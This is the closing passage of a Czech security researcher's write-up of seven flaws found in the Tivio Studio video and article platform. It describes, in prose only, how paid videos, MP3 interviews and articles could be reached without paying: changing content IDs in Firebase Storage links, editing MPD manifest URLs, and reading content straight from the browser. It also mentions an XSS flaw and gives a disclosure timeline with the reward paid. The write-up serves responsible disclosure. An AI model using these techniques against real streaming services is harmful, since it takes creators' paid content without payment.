Díky nastavené délce tak vždy došlo k přehrání celého videa, protože jakékoliv jiné video bylo vždy kratší. Když přehrávané video skončilo, tak bylo v přehrávači jen "černo" - nebylo už co přehrávat, na serveru už nebyl obsah. Účel to ale splnilo, k celému obsahu jsem se vždy dostal a nemusel jsem dokola měnit délku v souboru, stačilo pouze měnit ID videa.

Tento postup šlo aplikovat pro projekty Stargaze (různí tvůrci), Starmax.tv (desítky českých a zahraničních filmů) a Oktagon.tv (všechny MMA zápasy).

Tuto zranitelnost, společně s nedostatečnou opravou MP3 jsem opět sepsal do reportu a poslal k opravě.

Tyto chyby již byly opraveny poměrně rychle. Již za 2 dny se ke každému videu začal u BaseURL přidávat ověřovací token. To stejné i u MP3 rozhovorů.

Pak už jsem se raději nic nového nezkoušel 😅. Přeci jen, u každého přetestování jsem nalezl vždy alespoň jednu novou chybu.

Já sám jsem měl svoje pracovní povinnosti a toto nebyl žádný objednaný bezpečnostní test, ani se nejednalo o reporting v rámci bug bounty programu. Do této chvíle jsem ani nevěděl, jestli ze strany Tivio Studio dostanu vůbec nějakou odměnu.

Několika způsoby jsem prokázal, že šlo obejít platbu za placený obsah. Reálnému útočníkovi by stačila jen jedna zranitelnost, aby toho zneužil. Celkově jsem nahlásil 6 způsobů, jak se dal bezplatně získat placený obsah, k tomu pak i jednu XSS zranitelnost. Z mé strany tak bylo "hotovo" a nebyla motivace hledat stále nové a nové způsoby.

K odměně nakonec došlo a za nalezené chyby jsem 9. června 2025 dostal 1500 € (37 350 Kč).

Závěr

Cílem tohoto write-upu nebylo vysvětlit složité exploity, ale naopak poukázat na realitu, která není výjimkou. Jednoduchými kroky se dalo dostat k placenému obsahu, který tvůrci svěřili platformě.

Celkově jsem nahlásil k opravě sedm zranitelností. Šest chyb bylo o přístupu k placenému obsahu. Žádná z těch šesti však nevyžadovala pokročilé technické znalosti, většina šla zneužít pouhým prohlížečem.

U dvou z těch šesti jen stačlo otevřít Developer Tools a uživatel získal důležité odkazy, kde jen změnil ID cílového obsahu (Firebase Storage, nepublikovaná chyba). Další dvě chyby se zas týkaly placených článků, kde uživatel nic měnit nemusel - vše vyčetl rovnou z prohlížeče. U zbylých dvou hrál důležitou roli také prohlížeč. Jedna zranitelnost vyžadovala navíc jen otevření RSS adresy, kde pak uživatel získal odkaz na MP3 rozhovor. U další pak bylo potřeba zkopírovat odkaz z "Developer Tools-Network" části, který se vkládal do MPD souboru.

Šlo tedy několika způsoby obejít to nejdůležitější pro tvůrce - platbu za jejich obsah. Poslední, sedmá zranitelnost (XSS) mohla být použita k různým podvodům. Ta mohla poškodit nejen dobrou pověst tvůrce, ale také mohla vést k finančním ztrátám uživatelů. Doplním, že o zneužití XSS zranitelnosti nemám žádné informace. U chyb s placeným obsahem byla situace jiná. Sám vím o pár lidech z konferencí, kteří o chybách věděli a měli tak k obsahu bezplatný přístup. Zneužití bylo poměrně triviální a nelze se proto tomu divit...

XSS zranitelnost byla opravena rychle, už následující den od nahlášení. Poměrně rychle probíhaly i opravy u některých pozdějších nálezů. Nejkritičtější chyba ve Firebase Storage byla však opravena po dvou měsících od nahlášení.

Tivio Studio nemá veřejný bug bounty program ani security.txt soubor s kontaktem pro nahlášení bezpečnostních chyb. Samotný proces nahlášení tak byl velmi vyčerpávající. Kdyby existoval nějaký kontakt, společnost by získala důležité informace o bezpečnostních chybách bez prodlevy. To mohlo vést k rychlejší opravě a tedy ke zmírnění dopadu u jejich klientů.

Přidání kontaktu pro nahlášení chyb na své stránky nebo do souboru security.txt jim bylo doporučeno. Od prvního nahlášení již uběhlo 15 měsíců a v době vydání tohoto write-upu tento kontakt na svých stránkách stále nemají (ani na spravovaných stránkách).

Časová osa a odměna

06.12.2024 Hovor se CEO Ladislavem Navrátilem
09.12.2024 Odeslán report: XSS, přístupné Firebase úložiště, materiály ke kurzu investicnipruvodce.cz v prohlížeči
10.12.2024 Opraveno: XSS zranitelnost
16.01.2025 Tivio již nespravuje investicnipruvodce.cz
11.02.2025 Opraveno: veřejně přístupné Firebase úložiště
19.02.2025 Nový report: Získání obsahu placených článků, bezplatné přehrání videí a MP3 rozhovorů
19.02.2025 Opraveno: Bezplatné přehrání videí
25.02.2025 Opraveno: Získání obsahu placených článků, MP3 rozhovory (částečně)
26.02.2025 Nový report: MPD BaseURL manipulation a získání MP3 rozhovorů
03.03.2025 Opraveno: Article detail page (investicnipruvodce.cz)
06.03.2025 Již opraveno: MPD BaseURL manipulation a získání MP3 rozhovorů

Po opravě došlo k pozvání na oběd a byla mi nabídnuta spolupráce. Za nalezené zranitelnosti mi byla vyplacena odměna ve výši 1 500 € (~37 350 Kč).

(Pozn.: Byl domluven penetrační test, který se zaměřoval na novou funkcionalitu. Z mé strany tak nebyla znovu otestována konfigurace Google Firebase nebo neautorizovaný přístup k videím. Pentest byl proveden v září 2025.)